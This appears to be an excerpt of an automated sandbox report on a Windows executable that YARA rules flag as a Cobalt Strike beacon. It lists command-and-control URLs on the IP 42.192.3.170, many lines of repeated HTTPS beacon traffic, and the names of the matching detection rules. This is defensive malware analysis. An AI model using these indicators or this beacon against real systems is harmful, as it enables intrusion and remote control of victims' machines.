Source: yZah650lHL.exe, 00000000.00000003.2251319946.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2288485933.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2232239149.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1963443471.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2553907934.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2270174330.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2383203450.00000000007EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/dpixelq
Source: yZah650lHL.exe, 00000000.00000003.1870269974.00000000007ED000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1832985511.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3113705174.0000000000793000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/dpixelt
Source: yZah650lHL.exe, 00000000.00000003.2856843273.00000000007EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/dpixeltem32
Source: yZah650lHL.exe, 00000000.00000003.2495218353.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1944793809.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2058516201.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2077887934.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2364365771.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2476981159.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2232239149.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2553907934.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2440036654.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2021019035.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2420730874.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2345864498.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2288370778.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1982892951.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2325663976.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2458872458.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2251319946.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2039804636.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2176453491.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2572561886.0000000000793000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/dpixeltz
Source: yZah650lHL.exe, 00000000.00000003.3347918530.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2991067107.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3171943866.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3407302077.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3448145276.0000000000793000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/dpixelxJ
Source: yZah650lHL.exe, 00000000.00000003.2251319946.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2288485933.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2345864498.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2402005752.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2420730874.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2306808221.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2440141638.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1832985511.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2325663976.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2364539586.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2476981159.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2458872458.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2270174330.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2495218353.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2383203450.00000000007EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/dpixely
Source: yZah650lHL.exe, 00000000.00000003.3427840081.0000000000793000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/dpixelz
Source: yZah650lHL.exe, 00000000.00000003.3230732408.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2440141638.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1719918734.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000002.4114142159.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3250525186.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2476981159.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2176453491.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2553907934.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2856843273.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2572561886.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2458872458.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2495218353.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/nd-point:
Source: yZah650lHL.exe, 00000000.00000003.2383203450.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1926725987.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/pixel
Source: yZah650lHL.exe, 00000000.00000003.1758268591.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1776453698.00000000007EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/pixel(
Source: yZah650lHL.exe, 00000000.00000003.3153029603.0000000000793000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/pixel0
Source: yZah650lHL.exe, 00000000.00000003.1739759155.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1758268591.00000000007EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/pixel1b87bd06
Source: yZah650lHL.exe, 00000000.00000003.3153029603.0000000000793000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/pixel9
Source: yZah650lHL.exe, 00000000.00000003.2176453491.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2553907934.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2572561886.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/pixelLMEM8x
Source: yZah650lHL.exe, 00000000.00000003.1758268591.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1794973018.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1776453698.00000000007EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/pixelM
Source: yZah650lHL.exe, 00000000.00000003.2021019035.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1982892951.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2002388791.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2039906619.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/pixelQ
Source: yZah650lHL.exe, 00000000.00000003.2058516201.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/pixelq
Source: yZah650lHL.exe, 00000000.00000003.1739905253.00000000007C1000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1739847137.00000000007B9000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1719801648.00000000007B9000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000002.4114142159.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1907581606.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3487466252.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1719918734.00000000007C1000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1758268591.00000000007B9000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1926725987.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/ptography
Source: yZah650lHL.exe, 00000000.00000003.2270174330.00000000007B9000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2251319946.0000000000793000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/vide
Source: yZah650lHL.exe, 00000000.00000003.2440141638.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3427840081.0000000000793000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/xel
Source: yZah650lHL.exe, 00000000.00000003.1851666148.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1832985511.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1813737040.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1794973018.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1776453698.00000000007EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/y

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 50115 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 50122 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 50076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50127 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 50111 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50098
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50097
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50099
Source: unknown	Network traffic detected: HTTP traffic on port 50112 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50129 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 50064 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50123 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50098 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50086 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50124 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50097 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50101 -> 443

Source: unknown	HTTPS traffic detected: 42.192.3.170:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 42.192.3.170:443 -> 192.168.2.4:50064 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.yZah650lHL.exe.660000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Attempts to detect Cobalt Strike based on strings found in BEACON Author: unknown
Source: 0.2.yZah650lHL.exe.660000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Identifies CobaltStrike via unidentified function code Author: unknown
Source: 0.2.yZah650lHL.exe.660000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 0.2.yZah650lHL.exe.660000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Meterpreter Beacon - file K5om.dll Author: Florian Roth
Source: 0.2.yZah650lHL.exe.660000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects unmodified CobaltStrike beacon DLL Author: yara@s3c.za.net
